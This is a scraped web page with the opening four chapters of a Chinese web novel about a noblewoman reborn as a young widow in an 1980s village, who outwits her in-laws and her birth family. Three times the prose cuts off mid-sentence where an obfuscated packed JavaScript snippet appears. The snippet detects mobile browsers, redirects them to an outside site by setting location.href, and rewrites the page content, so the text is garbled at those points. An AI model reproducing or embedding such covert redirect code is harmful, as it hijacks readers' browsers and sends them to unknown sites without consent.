《反派寡嫂掌家日常[八零]》 1. 第 1 章 沈淑仪被一阵哭骂声吵醒,心中不悦,谁这么大的胆子,敢在她这侯夫人房中喧哗。 她虚睁开眼,刚想出声,惊讶于眼前所见,土胚房、石灰墙,这不是她的屋子,难道谁趁着她病,把她给挪到农庄上了?真是反了天了! “睁眼了!活了,活了!” 哭骂声停顿一下后,变得更响了,床边站着的人冲着床上的沈淑仪喋喋不休—— “你个杀千刀的,下次想死去跳江,那个深,跳下去保管捞不上来,一了百了!” “我们周家怎么对不起你了,你要这么害我们!” “你们周家把我闺女逼了跳河,还好意思说没对不起,这事没完,明个我要找妇联,你们必须给我一个说法。” “要什么说法!大嫂自己要给我大哥殉情的,关我们家什么事,要不是她当初不要脸设计我大哥,我大哥早就和吴知青结婚,现在肯定跟着吴知青返城,去大城市享福了,我大哥就是被她克死的……” “……” 吵吵嚷嚷,都是沈淑仪不认识的人,说的全都是她听不懂的话,吵得她脑仁疼。 “聒噪,住口。”沈淑仪的声音不算大,却自带威严,房里的人没反应过来,一时真安静下来。 被两家人挤到房间角落的村卫生所黄医生趁机拨开几人,来到沈淑仪床边,他脖子上挂着听诊器,对惨白虚弱的沈淑仪说:“你感觉怎么样,我给你听听。” 黄医生说着就拿听诊器往沈淑仪心口探去,沈淑仪眼皮重的很,浑身也使不上一点力,见一个男人拿着不知道什么物件朝她胸口靠近,心下大怒,哪来的登徒子,敢对她无礼!莫非是她那薄情又无耻的丈夫想要毁她清誉? 怒火攻心,沈淑仪再次晕了过去,屋子里的两家人又开始吵起来。 黄医生叹了口气,没管吵翻天的沈、周两家人,给沈淑仪听了心跳,又扒开她眼皮看了看,丢下句:“人没事了,你们都出去吧,别在这吵,让她好好休息,等她醒了就好了。” “真好了?”沈淑仪的婆婆陶桂香拉着黄医生的衣袖说。 “嗯,心跳和喘气都正常,人没事了,就是呛水时间长了,身子还虚,后续再养养观察观察。”黄医生说。 “那等人好了,我们再去算诊费。”陶桂香松开黄医生的衣袖,侧身让他离开。 黄医生也没想着这会儿能收到诊费,医者仁心,他临走前到底叮嘱一句:“她落水那么长时间,难得捡回一条命,你们不要刺激她,让她好好休息。” 说完,黄医生也不管房里众人的反应,提着小药箱,从周家逃了出去。 沈淑仪这会儿人虽然昏迷了,意识却是清醒的,她脑中一下子涌入了大量不属于她的记忆和一些奇怪的事,还有一个人,或者说,一个魂。 那个魂,只在沈淑仪脑海中留下一句:“这身子给你吧,我要去找长海哥,晚了就赶不上他了。”说完这句话,这个魂就消失了,沈淑仪再也感觉不到她的存在,但是她却仍保留着原身的记忆。 沈淑仪这会儿已经全明白,她这是借尸还魂了,而且借的还是一本书中人物的尸。 这个为夫殉情的女人和她同名同姓,在这书的一开头就死了。 她的死,是为了引出女主的出场,顺便凸显女主的善良以及制造剧情矛盾。 原来的沈淑仪为夫殉情,跳河寻短见,女主正好路过,就下河救人,结果她自己水性也不好,人没救上来,还把自己搭进去了,反而又被路过的男主给救上来。 女主被救上来后就昏倒了,男主并不知道水里还有一个人。等女主醒来,已经是半小时后,再叫人去救沈淑仪已经为时已晚,书中的原主就这么死了。 沈淑仪的死,除了让女主窦海云和男主周长清结缘,还激化了男主家和沈淑仪婆家的矛盾。 男主周长清和沈淑仪的亡夫周长海是堂兄弟,他们的父辈分家时闹了矛盾,之后比邻而居,也一直鸡毛蒜皮的矛盾闹不停,书中周长清没能及时把沈淑仪救上来,两家就此结了生死仇。 书中的主角是窦海云和周长清,写的是他们的感情波折和坎坷奋斗历程,而沈淑仪的婆家和娘家,全都是胡搅蛮缠的恶人,沈淑仪的小叔子周长泓更是大反派,他处处和周长清作对,还作奸犯科,最后被判了个无期…… 沈淑仪安静地躺着,消化着脑中多出来的记忆。 此时的周长泓正双手抱胸倚在门框上,屋里周、沈两家的吵闹他一句不参合,只冷眼看着床上的大嫂。 他盯着沈淑仪的脸看了好一会儿,屋里的吵闹声越来越响,没能把床上的人吵醒。 周长泓突然嘴角浮起一抹笑,用不大不小的声音冲房里人说:“聒噪,住口。” 没人理他。 “啧。”周长泓咂嘴,抬手捶了两下房门,“都别吵了!没听黄医生说要让大嫂休息吗?” 陶桂香和沈淑仪的妈卢秀芳,这才停下,都朝周长泓看了一眼。 卢秀芳回头瞪一眼陶桂香,说:“等淑仪醒了,我就把她接回去,我家闺女不在你家受这罪!” 陶桂香讥讽:“那你还是现在趁她昏迷就拉回去,我怕她醒了不肯走,非要赖在我家,给我儿守寡!” 周长泓又捶了三下门。 “你要死啊,门捶坏了!”陶桂香骂儿子。 “行了,别吵了,都出来说!”外间传来沈淑仪的公公周二柱的声音。 接着沈淑仪她爸沈大魁也在外间喊自家人:“秀芳,你们出来,叫二丫头好好歇歇。” 陶桂香朝床上的沈淑仪看一眼,对小女儿周长潇说:“你留下照应你大嫂,她要醒了就喊人。” 周长潇嘟囔:“我不要,二嫂留下吧。” 陶桂香没吱声,她二儿媳妇见婆婆不吱声就知道什么意思了,撇了一下嘴:“行,我留下。” 一屋子人都出去了,周长泓一直站在门边,又看一眼床上的沈淑仪,然后把房门关上。 “长泓,你搬凳子给你婶子他们坐。”坐在八仙桌东面的周二柱吩咐儿子,他对面坐着亲家公沈大魁,两个黝黑的乡下汉子,脸上都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364052|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么表情。 周长泓搬来两条长凳子,一条放东墙,一条放西墙,周、沈两家人坐下来,看上去像要对簿公堂。 周长泓自己不坐,双手抱胸靠在墙上,看着两家人。 两家人刚才还在沈淑仪房里吵得不可开交,现在又都沉默了。 过了有一分多钟,周二柱才率先开口说:“老大媳妇人没事,就是万幸。” 沈大魁说:“有事没事的,现在也看不出来,这不还没醒呢,人家说呛水憋气时间长了,会有后遗症什么的。” 两个当家人一开口,火药味立马就又上来了。 沈大魁话音刚落,陶桂香就说:“亲家公也不要这么咒自己闺女,黄医生刚才都说她没事了。” “你这一句话说得真是轻轻巧巧,好好一个人,怎么就寻死了,还不是你们作践的!”卢秀芳狠狠说。 “到底谁作践的?她头一天回娘家,第二天就跳河,别以为我不知道你们打什么主意,不就是想把闺女再嫁一回,再收一回彩礼么!”陶桂香语气比卢秀芳更狠,说着还狠狠跺脚,拿手指着卢秀芳。 “这叫什么话,我家闺女大好年华,难不成还要守一辈子寡,她年纪小不懂事,我们娘老子还不为她操心?”卢秀芳霍地站起来,她一站起,跟她一起过来的大儿媳妇和三闺女也站起来,小闺女反应慢,她坐在长凳另一头,三个人都起来了,长凳变成跷跷板,她一个没稳住,跌坐在地,还被长凳敲了脑袋一记。 突发变故,让堂屋里的人都愣了一下,靠在东墙的周长泓没忍住笑出声。 沈家人忙把沈淑仪的小妹扶起来,卢秀芳骂小闺女:“你眼睛瞎还是脑子瘸,不晓得跟人一块站起来啊!” 沈小妹眼泪包在眼里,不敢吱声。 这会儿沈大魁也站起来:“像什么样子,先回去吧,等二丫头醒了再说。” 陶桂香刚才说他们要把二丫头再嫁一回,跟人要彩礼,沈大魁脸上就有点挂不住,毕竟女婿才走,他们赶忙要把闺女二嫁,说出去确实不太好听,现在小闺女闹出这动静,正好可以把刚才的话给岔开。 卢秀芳对沈小妹说:“你留这照应你二姐,她醒了你就家去送信,跑快点,知道吗?” “嗯。”沈小妹点头。 周二柱把沈家人送出门,吵归吵,理不能亏。 送到院门外,周二柱对沈大魁说:“亲家公你放心,等老大媳妇醒了,身子养好了,她要走要留,我们都随他。” “嗯。”沈大魁没有多说什么,带着一家人回去了。 周二柱站在院门口目送沈家人离开,听到隔壁周三柱家也在吵。他站在门口听一耳朵,差点笑出声。周长清不救堂嫂,救窦家那个丫头,现在好了,窦家人要周长清娶窦丫头呢,窦家那丫头,长得倒是可以,人也勤快,但谁不知道窦家是整个大圩大队最穷的人家,就是整个长胜公社,怕也找不到第二家这么穷的人家了。 被窦家缠上,周三柱家别想好过。 “呸!活该!”周二柱朝隔壁兄弟家啐了一口。 2. 第 2 章 沈淑仪醒来时,已经是黄昏时分,身边只有沈小妹守着。 “二姐,你醒了!”沈小妹见自家二姐睁了眼,惊喜说道。 沈淑仪看看床边的人,犹豫地喊了声:“小妹。” 沈小妹眼泪立马掉下来:“二姐,你终于醒了,感觉怎么样,还有哪里不舒服吗?” 沈淑仪脑子还有些懵懵的,她打量着房里的情形,又看看沈小妹,摇摇头。 “二姐,你没事真是太好了。”沈小妹抹了把泪,“你吓死我了,你要是走了,我怎么办啊,呜呜呜……”整个家里,只有二姐对她好。 “没事了。”沈淑仪还不太适应现在这个身份,脑子里虽然有原主的记忆,但并不真切,所有人都面目模糊,原主过去发生的事也没有什么实感。 “对了,我得赶紧回家,告诉爸妈!”沈小妹跳起来说,“我去喊周家人过来照应你。” 周家的男人都去上工了,陶桂香在收拾菜园子,厨房里姑嫂两个在烧晚饭。 沈小妹去喊陶桂香:“婶子,我二姐醒了。” 陶桂香嗯了一声,头也没抬,继续给菜地起垄,一垄到头,又往回起了一垄,才把锄头靠在一旁的瓜架上,跟着沈小妹回房。 沈淑仪已经坐起身,背靠在墙上,面无表情。 陶桂香一见她这要死不活的样子就来气,她养了那么大、最出息的儿子就这么没了,只被人送回来一罐子灰,她不伤心?不难过?但难过也要过!大儿连个后都没有留下就走了,还不都是这个儿媳妇肚子不争气!她还有脸寻死?! 沈淑仪看看来人,她发现只有看见人,才能和记忆里的人对上,看不见真人,就只有个模糊影子。 知道来的人是婆婆,沈淑仪本能地想下床行礼,这是她刻在骨子里的教养。 “你干嘛!”陶桂香见她摇摇晃晃要下床,以为她又想干什么出格的事,吼了一声。 沈淑仪脚刚要靠到鞋子,听见陶桂香的吼声,又收了回去,时代不一样了。 陶桂香阴了一眼,语气很冲:“你感觉怎么样啊!” 沈淑仪语气淡淡说:“感觉不出,得请大夫看看。” 陶桂香觉得沈淑仪语气有些怪怪的,只当她是在水里憋坏了。 “不用请,黄医生说你醒过来就没事了。”陶桂香怎么可能跟她嘴跑,“你感觉不出,那就是没事。” 沈淑仪也没反驳,其实她现在除了没力气,还有身上一些磕碰伤,没有别的不舒服。她这么说,就是想试探一下。 沈小妹在旁说:“二姐,你真没事吗?那我赶紧回家告诉爸妈了。” “嗯,回吧,路上小心。”沈淑仪对妹妹说。 “嗯,二姐你好好休息,我有空就来看你。婶子,我走了。”沈小妹拔腿跑了。 沈小妹一走,房间只剩下婆媳两个。 陶桂香也没拐弯抹角,说:“你爸妈要把你接回去呢,你怎么想的?” 沈淑仪望着陶桂香,冷静地说:“我嫁到周家,就是周家人了,怎么能回去?” “老大走了,你又没给他留后,留下来干什么?”陶桂香不想留下沈淑仪,寡妇门前是非多,加上她本来也是不省心的,回头再寻死觅活,肯定还会影响她三儿子讨媳妇。 沈淑仪定定看着陶桂香:“妈,长海走了,你就不管了?就当没这个儿子了吗?” “你这话什么意思!”陶桂香被沈淑仪看得有些发毛,“走都走了,还怎么管。”最多偷偷烧两刀纸钱给他,清明往他坟头添两锹土,还能怎么弄。 “家里不还有二弟、三弟,回头我过继一个孩子过来,也是给长海哥留个香火。”沈淑仪慢条斯理地说。 陶桂香愣住,她还真没想到这一出上。她看看沈淑仪,想着她先前还寻死觅活的呢,这会子怎么又有这“雄心壮志”了。 如果大媳妇真的能留在沈家门上,过继一个孩子到长海名下,那确实可以。问题是她真的能留下把孩子带大?守寡可不是好守的,她才二十出头,大好年华长着呢。还有,她说过继就过继了?也要看老二、老三家愿意不愿意呢。 “想一出是一出。”陶桂香说。 沈淑仪看出陶桂香脸上的动摇,稳稳坐着不吱声。她不想回娘家,一是因为,沈家要她回去,是想把她嫁给一个老鳏夫,换来的彩礼好给她小弟结婚,她自然有法子不嫁,但要和娘家人扯皮,更烦;二来,她对沈家的了解不如周家多,毕竟书上对沈家的描写只有寥寥几笔,而这边周家是贯穿全文的反派之家。 外头传来爷儿几个说话的声音,陶桂香转身出了房门,门都没替她关上。 陶桂香出了房门,沈淑仪才叹了一声,又把这简陋的屋子看了又看,要过一段苦日子了。但苦归苦,沈淑仪对这个新时代,还是充满了好奇,也知道未来会是一片光明。而且,前世自己年纪不小了,还得了重病就快死了,现在这身子可年轻的很,她这是白赚的一辈子呀! “大嫂醒了没?”周长泓见她妈从沈淑仪房里出来,问道。 “醒了。”陶桂香说。 “人没事吧?”周二柱问。 “没什么事,她小妹家去送信了,沈家人今晚不知道来不来。”陶桂香说着朝厨房喊一声,“二丫头,端盆水给你爸、你哥他们洗脸洗手。” 陶桂香喊的是小女儿周长潇,出来的是二儿媳妇孙巧梅。 赵巧梅把水盆放在院中的旧桌子上,周二柱一边洗手一边说:“隔壁呢,有什么新动静啊。” “下午全去上工了,能有什么动静,管他们家干啥。”陶桂香说,“你快洗,回屋跟你说话。” 周二柱洗干净手,双手在袖子上一抹,跟陶桂香回屋了。 陶桂香把沈淑仪说的过继的事跟周二柱说了,周二柱也很惊讶:“她真这么说啊?” “嗯,她不说,我都没想起来,还有这茬呢。”陶桂香点点头,“当家的,你怎么看?” 周二柱想了想说:“怕不是她不想回去二嫁,故意这么说的。” “也有这个可能。”陶桂香说。 “回头再问问她吧,就算她对长海真有这个心,也要看长淮、长泓两家愿意不愿意呢。”周二柱说。 “我也是这么想的,最好她还是回沈家去,少惹麻烦。她这回一闹,肯定已经影响我长泓说亲了。”说起这话,陶桂香语气就烦起来。 两口子正说着,周长泓推门进来了:“老两口说什么悄悄话呢,给我也听听。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364053|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶桂香白了他一眼:“说你以后怎么办呢!” “什么怎么办,我不是蛮好的。”周长泓双手一摊。 “嗯,蛮好的,我们跟你一辈子!”陶桂香没好气地说,“上回看的那个唐玲玲,我看就蛮好,非看不上!上次要是谈成,婚都结了,现在好了,看你什么时候能娶上媳妇!” 周长泓像被踩了尾巴,跳起来说:“妈!她掉进煤堆都找不出,我才不要呢!” “那是人家肯吃苦!不偷懒!一个女孩子和一个成年男人拿一样工分!要不是看你大哥工作好,你又有张脸,人家还看不上你呢。”陶桂香说。 “哦,那就许那女的看上我的脸,不许我挑好看的啊!”周长泓说,“我反正不着急,现在国家提倡晚婚晚育,过个三五年结婚也不迟,我肯定要长得好看的,白白净净,斯斯文文……” “你等仙女下凡掉你家吧!”陶桂香气得想打他,外间姑嫂两个喊他们吃晚饭了。 周长泓开门出去吃饭,正好对面房门也开了,沈淑仪从里面走了出来。她重新梳了头,换了衣服,鬓边别了一朵小白花,看上去很素净淡雅。 周长泓看愣了一秒,被身后的周二柱给推了一把才走向饭桌。 沈淑仪缓缓地走到桌边,犹豫了一下才坐下。 周二柱坐下后,对沈淑仪说:“怎么起来了,叫二丫端给你吃行。” “没事,能起。”沈淑仪迟疑了一下,加了一句,“谢谢爸关心。” 周家今天的晚饭是青菜豆腐汤配杂粮馒头。 一个大钢精锅和一大盘杂粮馒头放在八仙桌中央,赵巧梅拿着汤勺往每个人面前的小碗里装汤,先给爸妈,再给大嫂。 沈淑仪看看碗里的汤,都是青菜,只有两块拇指大的豆腐。沈淑仪前世一辈子也没吃过这样的汤……她见周家人都自己拿馒头吃,也跟着拿了一个。 咬下一口后,她就忍不住皱了下眉,这也是前世一辈子没吃过的粗粮,她又喝了口汤,好咸! 见周家人呼啦呼啦地喝着汤,大口大口吃着馒头,像是无上美味,沈淑仪也只能硬吃。 周长泓端着碗,看似在喝汤,其实一直在越过碗边偷看坐在他对面的大嫂,他这大嫂,落水之后,有点不一样了…… 沈小妹一路小跑回到家,一进家门,就看家大嫂子在收拾碗筷,显然他们家已经吃过晚饭了。 “小妹回来了?你吃了吗?”她大嫂孙晓芹问。 “没有。”沈小妹跑得气喘吁吁,有点委屈地说。 卢秀芳正好经过,拿指头在沈小妹额头狠狠戳了一下:“你是猪脑子啊,不晓得在你二姐家吃了再回来!不晓得给家里省口粮食啊!” 沈小妹差点被她妈一指头戳倒,心里更委屈了,哭囔着说:“妈说二姐一醒来,就家来送信的……” “行了,不要说她了。”沈大魁说,“你二姐看上去怎么样,有事没事?” “没事……”沈小妹抹了把泪。 卢秀芳说转头对沈大魁说:“我们去看看吧,她要没事,就早点把她接回来,防止郑家那边收到风,到时候肯定又有话,说不定要压价钱。” “嗯,去吧,她要是没事,今晚就接回来。”沈大魁说。 3. 第 3 章 沈淑仪就着青菜豆腐汤,勉强吃完一个杂粮馒头。 周家人可不管沈淑仪吃多吃少,最好她少吃点,省粮食。一家人把一锅汤和一大盘子馒头都吃了。 沈淑仪吃好也没离席,就这么安安静静地坐着。 “趁还有亮,赶紧把碗洗了。”吃好饭,陶桂香吩咐。大圩大队去年秋天已经拉了电,但一般人家还是舍不得用,晚上还是点煤油灯比较多。周家这会儿煤油灯都没点,借着黄昏最后一点光亮吃晚饭。 陶桂香没有指名道姓叫谁洗碗,沈淑仪坐着不动,小姑子周长潇也不动,周家的几个老爷们更不动。 周长淮胳膊肘拐了一下自己媳妇,孙巧梅只能起来收拾。 沈淑仪掏出帕子轻轻揩了一下嘴,缓缓说:“爸、妈,你们商量好了吗?” 陶桂香和周二柱对视一眼。 周长泓忙问:“什么事,什么事?” 陶桂香示意周二柱开口,周二柱说:“现在新时代,不讲究那些,人走灯灭,你说的事,还是算了,硬要把你留下,我们和你父母也没法交代。” “到底什么事啊!”周长泓急忙又问。 “没你的事!”陶桂香瞪他。 沈淑仪沉默了一会儿,幽幽地叹了口气:“人走灯灭,看来只有我心里还想着长海哥,你们不愿意就罢了,我回头去孤儿院抱一个记在长海哥名下也行。” 陶桂香听她语气心里就不舒服,没好气地说:“还不是你自己不争气!你要是生一个,想要留下,倒也没话!” 沈淑仪抬眼看陶桂香,房里已经很暗,沈淑仪脸惨白,鬓边还别着一朵白花,在这昏暗的光线里特别明显,陶桂香觉得这儿媳妇阴恻恻的。 “妈,一个人是生不了孩子的。”沈淑仪缓缓说。 “那也怪你自己拢不住长海的心,怪不得旁人!”陶桂香冲沈淑仪说。 沈淑仪不紧不慢又拿手帕擦了擦眼角,大晚上的,反正也看不出到底有没有眼泪,但她语气很动容:“妈,关于这事,长海哥已经跟我道歉了。” “跟你道什么歉,什么时候的事?”陶桂香追问。 “就是今天的事。”沈淑仪说,“他为过去的错误道歉,他过去有眼不识金镶玉,辜负我一片深情,全是他的错。” 沈淑仪一句话,把一桌子人都听愣了,孙巧梅手一滑,一个碗掉在桌上,咚得一声,把周长潇吓一跳。 “大嫂你胡说八道什么,二嫂你也当心点!想吓死我啊!”周长潇蹿起来去拉电灯绳,好巧不巧,停电了,周长潇又蹿回来,挨着她妈。 “长泓你去把灯点过来。”陶桂香说这话时,感觉家里更暗了。 周长泓摸到条案前,从抽屉里拿出火柴,把煤油灯点了,端过来,放在八仙桌中间,房间亮堂不少。 “老大媳妇,你刚才瞎说什么呢?”周二柱也冷下声音说。 “我没瞎说,你们觉得我在水里憋那么久,为什么还能活过来?那是长海哥救了我。想要过继一个孩子的事,也是他说的。”沈淑仪说话语气慢、声音轻,三分像人,七分像鬼,周长潇吓得抱紧她妈的胳膊。 陶桂香一拍桌子:“你再瞎说,我把你交到公社,说你搞封建迷信!” 沈淑仪看着陶桂香,叹了口气,语气还是不紧不慢:“唉,长海哥真可怜,用命换了五百块抚恤金,家人却连他的遗愿都不愿替他完成,还要赶走他的爱妻。” “什么抚恤金?”周长淮连忙问,“大哥不是就回来一坛灰吗?还有抚恤金?” 陶桂香和周二柱也都傻了,抚恤金的事,只有他们老两口知道,这大儿媳妇怎么知道的,难不成,大儿子真的显灵了? 周长潇也不发抖了:“妈,真有五百块钱啊,那我跟你要两块钱买雪花膏你还舍不得!” 沈淑仪自顾自又说:“唉,我懂,爸妈不止长海哥一个儿子,我却只有长海哥一个丈夫,他的遗愿,只能靠我了,这里容不下我,我走就是。” 说完,沈淑仪就站起身,要朝外面走。 陶桂香哪能让她走,万一她说的是真的,那她百年后,怎么有脸见大儿子?还有她那张嘴,要是把抚恤金的事说出去,还有个好? “你不准走!”陶桂香喊住沈淑仪。 “不走干什么?”沈淑仪单薄的身形晃了晃。 “这事还有得商量。”周二柱也说。 “你们同意了?”沈淑仪说。 陶桂香说:“现在同意你也没用,老二家还没孩子,老三婚都没结呢,哪有孩子过继给你。” “我不着急。”沈淑仪说,本来就是权宜之计,她又不是真想替别人养孩子,“对了,长海哥还说,谁把孩子过继给我,抚恤金就给谁一半。” 原本还在犯嘀咕的周长淮,立马说:“我家到时候过继一个儿子给大哥。” 沈淑仪微微颔首说:“还是二弟念着兄弟情,大嫂在这先替你大哥谢谢你了,你大哥说了,不论男女,是周家的骨血就行。” “那更好了。”周长淮觉得,到时候生个闺女给大嫂好了。 孙巧梅在旁也不吱声,她也在想,一个闺女换二百五十块钱,真不亏了。 周长泓一直盯着沈淑仪,眼见着她把他们一家子都牵着鼻子走,还是没有开口。他大哥变没变成鬼,他没看见,眼前这个大嫂,却真像是个鬼,反正和以前的大嫂完全不一样了。 陶桂香和周二柱见周长淮同意了,只能先把这事认下来。 “那就先这样说好了,你留下吧。”陶桂香说。 沈淑仪又坐了回去,扶了扶鬓边的小白花。 陶桂香心里念着大儿子,问沈淑仪:“长海他、还说什么了,他怎么不回来看看我们?” “妈,哪那么容易见着啊,我是一脚踏进鬼门关才见到的呢。”沈淑仪说,“他还说了什么,我记不清了。” “那你再想想啊!”陶桂香急了。 周长泓觉得自家老娘,已经完全被这个大嫂给拿捏了…… “妈您别急,我会想的,想到就告诉你。”沈淑仪温声细语劝慰。 孙巧梅继续收拾碗筷,她把各人吃的小碗都放进钢精锅,然后对周长淮说:“你陪我去洗碗吧。” 要是平时,周长淮肯定不睬他媳妇,但今天才应了大嫂这事,他怕孙巧梅犯糊涂,就跟她一起去了厨房。 两口子到厨房,周长淮就说:“这事我做主了,你可别犯傻,二百五十块呢!” “我知道,我又没说不同意。”孙巧梅说,“我就是被大嫂说的有点害怕,你把灯点上。” 周长淮点了油灯,孙巧梅从水缸里舀水洗碗。 “今天大嫂不说抚恤金的事,我们还都不知道呢,你说爸妈为什么瞒着我们?”孙巧梅说。 “还能为什么,为两个没成家的小的呗。”周长淮哼了一声说。 “五百块呢。”孙巧梅嘀咕。 “有二百五是我们的了。”周长淮笑嘻嘻,在孙巧梅腰上掐了一把,“我今晚加把劲,早点把钱拿到手,到时候给你买个银手镯。” 小两口嬉闹着,听到院门被人敲响了。 周长淮说:“肯定是大嫂娘家人来了,我去开门。” 周长淮开了门,果然看见是沈家人。 “叔,婶子,怎么这么晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364054|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。”周长淮故意问。 “你大嫂怎么样了,我们来看看她。”卢秀芳说。 “蛮好的,在堂屋陪我爸妈说话呢。”周长淮把沈家人让进院。 堂屋里,周家人和沈淑仪都听到院子里的动静了。 沈淑仪说:“我爸妈肯定来接我回去的,你们知道怎么说吧?” “知道。”陶桂香说,“你放心吧,只要你自己不愿意走,谁也接不走。” 也赶不走,沈淑仪心里补了一句。 沈家人一进周家堂屋,沈大魁就说:“怎么不开电灯。” 沈家在二圩大队,离这三四里地,中间隔着田和晒场,没几户人家,沈家人一路过来都黑乎乎的。进了周家门也不亮堂,沈大魁看一眼周家桌上的煤油灯,灯罩都被煤烟熏黑了都不知道擦,一家子懒货。 “停电了,二圩没停啊?”周二柱站起来说,“二丫坐旁边去,给你叔和婶子让坐。” 沈家来了四个人,周长潇下桌后,两家人正好坐满一桌。 卢秀芳在沈淑仪身边坐下,问她:“你感觉怎么样啊?请医生来看过没?” “看过了,没事。”沈淑仪说。 “有什么感觉跟妈说,听说在水里憋时间长了,有后遗症呢。”卢秀芳说。 沈淑仪慢吞吞地说:“妈要是不放心,明天带我到县里去看看吧,要真有后遗症,也不是个事。” 卢秀芳一噎,没想到闺女会这么和她说话,而且说话慢吞吞的,和之前可不一样,别真是有什么后遗症。 沈大魁没想那么多,他见闺女好端端地坐在这里,看上去应该没事,就说:“能走啊,能走跟爸家去,爸明天带你去医院查查。” “不能走,爸明天借了车子,再来接我去医院查吧。”沈淑仪说。 沈大魁也被噎了一下,板着脸说:“真不能走?我看你好端端坐着呢。” 沈淑仪看看她名义上的爸妈,心里并没有太多触动,她上辈子见过更多卖女求荣的,这又算得了什么。 沈淑仪的大弟这会儿说:“二姐,你跟我们回去吧,叫小妹在家照应你。” “我不能走。”沈淑仪淡淡说,“把小妹叫过来照应我。” 沈大魁看出来了,二闺女就是不想跟他们回去,冷着脸说:“那你什么时候能走。” “要是回去嫁给老鳏夫,那就什么时候都不能走。”沈淑仪突然坐直了身子,也是板着脸,眼神凌厉看向自己老子。 周长泓坐在沈淑仪对面,一直都在看她,这会儿他突然感觉她身上有股气势,这种压迫感,简直比妇女主任还要强…… 卢秀芳见父女两个要呛起来,忙劝和说:“二丫头,你不要犯傻,什么老鳏夫,人家郑建国也就三十出头,比长海大不了几岁,样貌也说得过去,家里条件也不差,你有什么不满意的?你以为守寡好守的?人一辈子长呢!你又没个孩子,以后在周家只有更难,听妈话,跟妈回去,妈还能害你啊?” “能。” 卢秀芳说一大堆,沈淑仪就回了一个字。 就这一个字把沈家人都给气得不轻。 周长泓突然觉得,大嫂还是对他们周家人好,起码对他们周家是连哄带骗,而不是直接气死人不偿命。 卢秀芳气得拍桌子:“我看你是被水鬼冲着了,不晓得好歹的东西!我害你什么了啊!你被周家人灌了什么迷魂汤啊!跟自己娘老子作对!” “妈,你再瞎说,我明天就到公社告你搞封建迷信。”沈淑仪,现学现卖。 沈大魁被气了个半死,直接了当说:“你不跟我回去,就把你小弟结婚的钱全给包了!” 4. 第 4 章 沈淑仪不吱声,手抚着自己鬓边的小白花,瞥了陶桂香一眼,陶桂香不知怎么的,一下子就会意,知道该自己出场了。 “真是天大的笑话,十里八村的也没听说过,要出门了姐姐管小弟的。”陶桂香说,“她现在是我周家人,凭什么管这事!” “就凭她是我沈大魁的闺女,你们要留下她也行,拿钱!”沈大魁现在也不想要什么脸面了,脸面哪有钱重要。小儿子一天不成家,他心里的担子就一天也放不下,时下结婚要花的钱越来越多,挣钱的机会却没有,现在好不容易有个机会可以捞一大笔钱,他怎么能错过。 况且,郑家的条件本来就不错,就是头婚也嫁得,何况二丫头还是二婚呢!要不是沈小妹年纪还小,他都愿意把小闺女嫁过去。 “拿什么钱,你不要说痴话。”陶桂香说,“你二闺女出门的时候,我们该给的彩礼都给过了,现在她户口落在我家,就是我家人!你们想要包办婚姻,买卖女儿,我就到公社告你们!” 陶桂香说完,看了一眼沈淑仪,沈淑仪朝她微微一笑,她感觉自己好像被儿媳妇表扬了,心里莫名有点舒坦,背都挺直几分…… 沈志高见两家要谈崩,觉得爸妈还是太心急,明明在路上说好了,不要和周家起冲突,先把二姐哄回家再说,怎么一见到二姐,几句话就说崩了。 他忙开口说:“婶子言重了,什么卖女儿!我爸妈可不会那么做的。二姐,爸妈真的是为你好,不是要害你,不是随便找个阿猫阿狗的就给你嫁了。郑家条件好,也不愁娶媳妇,还不是因为郑大哥喜欢你,宁愿不要头婚的,也要娶你!还有小弟的婚事,我们本来就是亲姊妹,互相扶持也是应该的,姑娘家,娘家有兄弟撑腰,才不被人欺负。” 沈志远这时候也干巴巴地说:“二姐,你就帮帮弟弟吧,我以后肯定会对你好的。” 沈淑仪缓缓开口:“姑娘家,娘家有兄弟撑腰,才不被欺负?我不正在、一直在被娘家兄弟欺负么?” 卖闺女贴补儿子的戏码,真是从古演到今。 “谁欺负你了,好赖不分!你今天落水,肯定脑子里水还没控干净,净胡说八道,我今天不跟你计较。你说明天带你去县里医院查,就明天去,明早你爸来接你。”卢秀芳说。 沈淑仪沉默看着卢秀芳,眼神冷冰冰的。 卢秀芳觉得二闺女的眼神很陌生,看得她心里发毛。 周长泓说:“我跟大嫂一起去。” 坐在墙角小凳子上的周长潇听说要去县里,不管三七二十一,立马说:“我也要去!” 卢秀芳见周家人这架势就知道,这二闺女他们怕是轻易弄不走了。而且她瞧着,周家人对二闺女的态度也不一样了,这里头别是有什么关窍。 